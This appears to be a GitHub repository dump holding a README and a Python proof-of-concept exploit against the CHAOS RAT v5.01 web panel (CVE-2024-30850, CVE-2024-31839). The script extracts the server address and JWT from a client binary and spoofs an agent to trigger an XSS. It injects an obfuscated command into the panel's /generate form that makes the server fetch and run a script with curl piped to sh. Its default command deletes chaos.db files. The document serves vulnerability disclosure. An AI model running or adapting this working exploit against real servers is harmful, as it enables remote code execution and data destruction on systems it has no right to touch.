├── rickroll.mp4 ├── README.md └── exploit.py /rickroll.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/HEAD/rickroll.mp4 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 2 | # CHAOS RAT v5.01 web panel RCE (CVE-2024-30850, CVE-2024-31839) 3 | https://github.com/tiagorlampert/CHAOS
4 | 5 | This exploit works by spoofing an agent callback for an XSS (CVE-2024-31839), and leveraging the XSS to exploit a command injection vulnerability (CVE-2024-30850) in the admin web panel. This leads to compromise of the RAT server and rickrolling of RAT panel operators. 6 | 7 | Full explaination: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/
8 | 9 | ``` 10 | python3 exploit.py exploit -h 11 | usage: exploit.py exploit [-h] [-f FILE] [-t TARGET] [-c COMMAND] [-v VIDEO_NAME] [-j JWT] -l LOCAL_IP [-p LOCAL_PORT] [-H HOSTNAME] [-u USERNAME] [-o OS] 12 | [-m MAC] [-i IP] 13 | 14 | options: 15 | -h, --help show this help message and exit 16 | -f FILE, --file FILE The path to the CHAOS client 17 | -t TARGET, --target TARGET 18 | The url of the CHAOS server (127.0.0.1:8080) 19 | -c COMMAND, --command COMMAND 20 | The command to use 21 | -v VIDEO_NAME, --video-name VIDEO_NAME 22 | The video name to use 23 | -j JWT, --jwt JWT The JWT token to use 24 | -l LOCAL_IP, --local-ip LOCAL_IP 25 | The local IP to use for serving bash script and mp4 26 | -p LOCAL_PORT, --local-port LOCAL_PORT 27 | The local port to use for serving bash script and mp4 28 | -H HOSTNAME, --hostname HOSTNAME 29 | The hostname to use for the spoofed client 30 | -u USERNAME, --username USERNAME 31 | The username to use for the spoofed client 32 | -o OS, --os OS The OS to use for the spoofed client 33 | -m MAC, --mac MAC The MAC address to use for the spoofed client 34 | -i IP, --ip IP The IP address to use for the spoofed client 35 | ``` 36 | ![oopsec](https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/25835d48-d967-495a-8e84-756153a82246) 37 | 38 | 39 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: CHAOS RAT v5.0.1 RCE 2 | # Date: 2024-04-05 3 | # Exploit Author: @_chebuya 4 | # Software Link: https://github.com/tiagorlampert/CHAOS 5 | # Version: v5.0.1 6 | # Tested on: Ubuntu 20.04 LTS 7 | # CVE: CVE-2024-30850, CVE-2024-31839 8 | # Description: The CHAOS RAT web panel is vulnerable to command injection, which can be triggered from an XSS, allowing an attacker to takeover the RAT server 9 | # Github: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc 10 | # Blog: https://blog.chebuya.com/posts/remote-code-execution-on-chaos-rat-via-spoofed-agents/ 11 | import time 12 | import requests 13 | import threading 14 | import json 15 | import websocket 16 | import http.client 17 | import argparse 18 | import sys 19 | import re 20 | 21 | from functools import partial 22 | from http.server import BaseHTTPRequestHandler, HTTPServer 23 | 24 | class Collector(BaseHTTPRequestHandler): 25 | def __init__(self, ip, port, target, command, video_name, *args, **kwargs): 26 | self.ip = ip 27 | self.port = port 28 | self.target = target 29 | self.shell_command = command 30 | self.video_name = video_name 31 | super().__init__(*args, **kwargs) 32 | 33 | def do_GET(self): 34 | if self.path == "/loader.sh": 35 | self.send_response(200) 36 | self.end_headers() 37 | command = str.encode(self.shell_command) 38 | self.wfile.write(command) 39 | elif self.path == "/video.mp4": 40 | with open(self.video_name, 'rb') as f: 41 | self.send_response(200) 42 | self.send_header('Content-type', 'video/mp4') 43 | self.end_headers() 44 | self.wfile.write(f.read()) 45 | else: 46 | cookie = self.path.split("=")[1] 47 | self.send_response(200) 48 | self.end_headers() 49 | self.wfile.write(b"") 50 | 51 | background_thread = threading.Thread(target=run_exploit, args=(cookie, self.target, self.ip, self.port)) 52 | background_thread.start() 53 | 54 | def convert_to_int_array(string): 55 | int_array = [] 56 | for char in string: 57 | int_array.append(ord(char)) 58 | return int_array 59 | 60 | def extract_client_info(path): 61 | with open(path, 'rb') as f: 62 | data = str(f.read()) 63 | 64 | address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}" 65 | address_pattern = re.compile(address_regexp) 66 | address = address_pattern.findall(data)[0].split("=")[1] 67 | 68 | port_regexp = r"main\.Port=\d{1,6}" 69 | port_pattern = re.compile(port_regexp) 70 | port = port_pattern.findall(data)[0].split("=")[1] 71 | 72 | jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*" 73 | jwt_pattern = re.compile(jwt_regexp) 74 | jwt = jwt_pattern.findall(data)[0].split("=")[1] 75 | 76 | return f"{address}:{port}", jwt 77 | 78 | def keep_connection(target, cookie, hostname, username, os_name, mac, ip): 79 | 80 | print("Spoofing agent connection") 81 | headers = { 82 | "Cookie": f"jwt={cookie}" 83 | } 84 | 85 | while True: 86 | data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())} 87 | r = requests.get(f"http://{target}/health", headers=headers) 88 | r = requests.post(f"http://{target}/device", headers=headers, json=data) 89 | time.sleep(30) 90 | 91 | def handle_command(target, cookie, mac, ip, port): 92 | print("Waiting to serve malicious command outupt") 93 | headers = { 94 | "Cookie": f"jwt={cookie}", 95 | "X-Client": mac 96 | } 97 | 98 | ws = websocket.WebSocket() 99 | ws.connect(f'ws://{target}/client', header=headers) 100 | while True: 101 | response = ws.recv() 102 | 103 | command = json.loads(response)['command'] 104 | data = {"client_id": mac, "response": convert_to_int_array(f""), "has_error": False} 105 | 106 | ws.send_binary(json.dumps(data)) 107 | 108 | 109 | def run_exploit(cookie, target, ip, port): 110 | print(f"Exploiting {target} with JWT {cookie}") 111 | conn = http.client.HTTPConnection(target) 112 | headers = { 113 | 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 114 | 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 115 | 'Cookie': f'jwt={cookie}' 116 | } 117 | conn.request( 118 | 'POST', 119 | '/generate', 120 | f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n', 121 | headers 122 | ) 123 | 124 | def run(ip, port, target, command, video_name): 125 | server_address = (ip, int(port)) 126 | 127 | collector = partial(Collector, ip, port, target, command, video_name) 128 | httpd = HTTPServer(server_address, collector) 129 | print(f'Server running on port {ip}:{port}') 130 | httpd.serve_forever() 131 | 132 | if __name__ == "__main__": 133 | parser = argparse.ArgumentParser() 134 | subparsers = parser.add_subparsers(dest="option") 135 | 136 | exploit = subparsers.add_parser("exploit") 137 | exploit.add_argument("-f", "--file", help="The path to the CHAOS client") 138 | exploit.add_argument("-t", "--target", help="The url of the CHAOS server (127.0.0.1:8080)") 139 | exploit.add_argument("-c", "--command", help="The command to use", default=r"find / -name chaos.db -exec rm -f {} \;") 140 | exploit.add_argument("-v", "--video-name", help="The video name to use", default="rickroll.mp4") 141 | exploit.add_argument("-j", "--jwt", help="The JWT token to use") 142 | exploit.add_argument("-l", "--local-ip", help="The local IP to use for serving bash script and mp4", required=True) 143 | exploit.add_argument("-p", "--local-port", help="The local port to use for serving bash script and mp4", default=8000) 144 | exploit.add_argument("-H", "--hostname", help="The hostname to use for the spoofed client", default="DC01") 145 | exploit.add_argument("-u", "--username", help="The username to use for the spoofed client", default="Administrator") 146 | exploit.add_argument("-o", "--os", help="The OS to use for the spoofed client", default="Windows") 147 | exploit.add_argument("-m", "--mac", help="The MAC address to use for the spoofed client", default="3f:72:58:91:56:56") 148 | exploit.add_argument("-i", "--ip", help="The IP address to use for the spoofed client", default="10.0.17.12") 149 | 150 | extract = subparsers.add_parser("extract") 151 | extract.add_argument("-f", "--file", help="The path to the CHAOS client", required=True) 152 | 153 | args = parser.parse_args() 154 | 155 | if args.option == "exploit": 156 | if args.target != None and args.jwt != None: 157 | target = args.target 158 | jwt = args.jwt 159 | elif args.file != None: 160 | target, jwt = extract_client_info(args.file) 161 | else: 162 | exploit.print_help(sys.stderr) 163 | sys.exit(1) 164 | 165 | bg = threading.Thread(target=keep_connection, args=(target, jwt, args.hostname, args.username, args.os, args.mac, args.ip)) 166 | bg.start() 167 | 168 | cmd = threading.Thread(target=handle_command, args=(target, jwt, args.mac, args.local_ip, args.local_port)) 169 | cmd.start() 170 | 171 | server = threading.Thread(target=run, args=(args.local_ip, args.local_port, target, args.command, args.video_name)) 172 | server.start() 173 | 174 | elif args.option == "extract": 175 | target, jwt = extract_client_info(args.file) 176 | print(f"CHAOS server: {target}\nJWT: {jwt}") 177 | else: 178 | parser.print_help(sys.stderr) 179 | sys.exit(1) 180 | --------------------------------------------------------------------------------